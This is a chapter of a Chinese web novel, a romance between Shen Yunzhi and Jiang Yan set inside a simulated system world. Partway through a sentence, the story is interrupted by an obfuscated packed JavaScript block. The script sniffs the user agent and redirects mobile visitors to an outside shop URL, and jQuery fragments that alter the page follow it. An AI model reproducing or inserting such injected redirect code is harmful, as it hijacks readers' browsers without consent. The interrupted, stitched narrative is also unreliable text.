沈芸之浑身的温度急剧升高,江砚的吻疾风骤雨般落下来,把她以一种不容拒绝的方式按在怀里,明明是很虔诚的额头吻,却被他做出了一种热吻都没有的的感觉。
“江砚……”沈芸之感觉再这样下去要失控了。她伸出手抵在男人的胸膛上想把他推开,然而江砚却宛如一块石头般一点也推不动。
沈芸之没办法,偏过头凑近江砚的肩膀,狠狠一口咬了下去。
“嘶。”江砚迷蒙的眼神终于清明了些,沈芸之
这一口真的咬得很重,血丝透过衬衫渗了出来,而江砚却像完全感受不到疼一样,偏头看了看伤口,反倒露出了一个很开心的笑。
“沈小姐,你真狠心啊。”
沈芸之挑了挑眉,眼底带着笑意,由于刚刚被江砚紧紧抱着额头上渗出了一点汗珠,过于白皙的皮肤在夜景灯光的照耀下被染上了一层暖色调,江砚一眨不眨地盯着她,漆黑的瞳孔如深潭般深不见底,火热的目光毫不避讳。
“我真的很开心。”
江砚眼底翻涌着千万种复杂的情绪,唯独看向沈芸之的目光纯粹如白雪。
沈芸之看着他,伸出一根手指抵在他胸膛上把他推回驾驶座,自己把手臂撑在车窗上垂眸笑着望着他:“我饿了。”
“好。”江砚简直抑制不住自己狂喜的情绪,“想吃什么?”
“意大利面。”沈芸之望着他道。
从她的角度看,驾驶位上的男人侧脸形成一个流畅而俊秀的弧度,明明是剑眉星目攻击性很强的长相,却又把强势与柔和巧妙融合在一起,不会给人过于强大的威压感。刚刚拥抱过程中热出的汗珠顺着性感的喉结往下滴落,握在方向盘上的手修长而骨节分明,手腕上戴着一只。
他真的很适合戴表,沈芸之一眨不眨地盯着男人的手心道。
江砚不是没意识到旁边的女孩一直在盯着他看,而且毫不掩饰自己的目光。但被沈芸之盯着看让他心中涌上一股强烈的满足感。
她在看我。
她眼中只能有我。
吃完饭,江砚和沈芸之一起去了坐了摩天轮,从高空往下看繁华的城市星光闪烁。
沈芸之靠在江砚肩膀上,怔怔地看着下面,像是突然想到了什么般,突然缓缓开口道:“这些都是真的吗?”
“什么都是真的?”江砚愣了一下。
“所有的风景,都好像真的一样。”沈芸之垂下眼帘。
江砚失笑:“本来就是真的。”
“不是。”沈芸之只是淡淡否认。
从前我也记不清真实世界到底是什么样的,但是从樊茵的画到阿丽娅的幻境,她看到了自己的曾经,尽管并不完整,但所有线索都能串联起来,构成一个残忍的事实。
系统里的npc除了阿丽娅那种特别情况,大多被剥夺了记忆,不会有自主逃离意识。
阿丽娅说幻境能反应人内心深处的渴望,那么她的渴望就是梦里表现出的那样——任务成功。
如果她作为总指导,沉溺于这种短暂的喜悦里认不清现实,那么梦就永远都是梦。
这些系统里的受害者该怎么办?
而系统外的研究人员群龙无首,现在他们又该怎么办?
江砚看到沈芸之眼神中快乐的情绪渐渐褪去,染上了一抹感伤的色彩。
他目光沉沉地望着她什么也没说,伸出手从后面扶住她的头,让她靠在自己肩膀上。
“睡吧。”
宛如一个催眠的咒语,江砚说出口的一刹那,铺天盖地的困意席卷而来,沈芸之意识越来越迷糊,沉沉陷入了梦乡。
这一觉睡得很安慰。
没有多次缠身的噩梦,没有焦虑导致的失眠,也没有在中途反复惊喜,沈芸之一觉睡到了天亮。
她缓缓睁开眼,阳光透过半透明的窗纱照近来,窗户没有完全关好,微风扶进扬起纱幔,氛围难得宁静。
她支起身想下床,却发现自己的手被什么东西压着。垂下头,才发现床边趴了个人。
江砚不知道什么时候已经睡着了,紧紧抓着他的手,日光透进来洒在他的脸上和从微敞着的衬衫领口中露出的锁骨上,落下一片阴影,温柔的光影让他本就俊逸的五官更显出尘。
沈芸之一瞬间被蛊住了,趴在床上托着脑袋伸出手,纤长的指尖顺着光影流动的方向,一点点从他眉骨、眼角、高挺的鼻梁划到唇角。
正在这时,江砚突然睁开了眼。
沈芸之的手还没来得及收回去,还停留在江砚的嘴唇上,猝不及防两个人的视线在办空中相撞。
她立马想抽回手,谁知被一股大力紧紧握住了手腕。
江砚似笑非笑地看着她,看上去很温柔,眼底中却充斥着强烈的占有欲,他拽着沈芸之的手,幼稚地非要让她继续碰自己的脸。
沈芸之无语道:“你够了。”
“不够。”江砚的眸子又黑又亮,目不转睛地盯着她:“沈小姐想摸的话可以直接和我说,不用趁我睡着的时候偷偷摸。”
沈芸之顿时跳进黄河也洗不清:“谁趁你睡着的时候……”
她的声音顿住了,因为她发现江砚开始拽着她的手腕摸自己的脖颈。
沈芸之用力抽回手,用力在他脸上狠狠搓了两把,把江砚的帅脸都搓得变了形。
“呜我……”江砚被她搓得话都说不清。
“想被摸是吧?”沈芸之咬牙切齿一字一句道,“现、在、摸、够、了、吗?”
“哎呀我都说了,你不能太惯着你对象。”
沈芸之淡淡道:“不是对象。”一边用肩膀抵这电话一边把抹了果酱的面包往自己嘴里叉。
阿丽娅在电话里发出一声看透一切的嗤笑,但她还是非常配合:“啊对对对,你不能太惯着……额……那个男的。”
“我没惯着他。”冰山美女沈芸之皱了皱眉,显然对这种词汇会出现在她身上感到不可思议。
“你还没惯着?”阿丽娅不可置信:“你双标得我都出来了,你知道江砚就是仗着你宠他所以才为所欲为的嘛?”
沈芸之咽下嘴里的煎蛋:“我没……”
手机被突然从肩膀上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356168|140744||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抽走了。
感情专家阿丽娅还想继续长篇大论,刚兴致冲冲地起了个头,电话那头的声音就突然变了:“阿丽娅小姐有空关心我们的感情问题,不如多从系统那扒点消息。”
江砚的声音很冷,带着强烈的不满。
阿丽娅震惊了:“沈芸之,你这还不叫惯着他?!言泽那家伙要是敢代替你接电话,你下一秒就会刀了他吧?”
沈芸之嚼嚼嚼嘴里的西兰花不置可否,转过头装看窗外的风景。
阿丽娅一脸恨铁不成钢,怒气冲冲地挂了电话。
江砚把手机扔到一边,转过头温柔地问沈芸之:“上午想去哪玩?”
沈芸之这才把嘴里的早饭咽下去,撩起眼上下扫了一眼江砚,眼前一亮。
江砚今天没穿正式的西装,反倒穿了一件很显年轻的白色卫衣,底下是深灰色运动裤,整个人脱离了总裁的装扮,青春洋溢像个大学生。
江砚今天早上起来,特意花了两个小时打理自己的头发,让他呈现出了一种慵懒、青春、随性,但又看不出来打理过的效果。
他惊喜地看见沈芸之的眼睛亮了,心中不免感慨两个小时的时间还是没白花。
“我想去游乐园。”
“好。”江砚蹲下身,吻了吻她的手,“我去整理东西。”
江砚这几天跟个亲亲狂魔一样,逮着机会就要跟沈芸之肢体接触,沈芸之想说但奈何对方不要脸起来是真的一点办法都没有,所以也只能任由她去。
另一边。
情感专家阿丽娅又上线了。
“年轻人。”阿丽娅一脸意味深长,“你这样整日消沉是没有任何作用滴。”
正在一下一下擦怀表的楚宁青:“……”
“喜欢,就要去争取。”阿丽娅拱火完全不在话下,“你看看,我刚刚都问了,沈小姐说江砚不是她对象!这说明什么?我问你这!说明什么!”
楚宁青淡淡道:“说明你是他们play中的一环。”
“啧。”阿丽娅白了他一眼,“你这个人怎么油盐不进。”
“好歹也是一个攻击力爆炸的打手,怎么一点激情and自信都没有?”
楚宁青沉默不语,眼底划过一抹晦暗不明的神色。
“别擦你那个破怀表了,再擦也不会变成新的。”阿丽娅坐到他旁边的沙发扶手上,给自己修长而漂亮的手磨指甲,“他们今天要去爬城东那座山。”
“告诉我干什么?”楚宁青闻言抬了抬眼。
“哦,那你当我没说吧。”阿丽娅摊了摊手,起身头也不回地走出了门。
“看在这么多年共事的情面上,我告诉你。”
“但不自己争取,永远都是失败者。”
楚宁青垂下眼,看着自己手中的怀表。被反复擦拭,表面闪烁着漂亮的光彩,但仍旧看得出来年数已久。
像我一样。
楚宁青自嘲般仰起头:
擦了又擦,也掩盖不住本身就晦暗的事实。
我这种深渊里生长出来的人,真的有一点资格吗?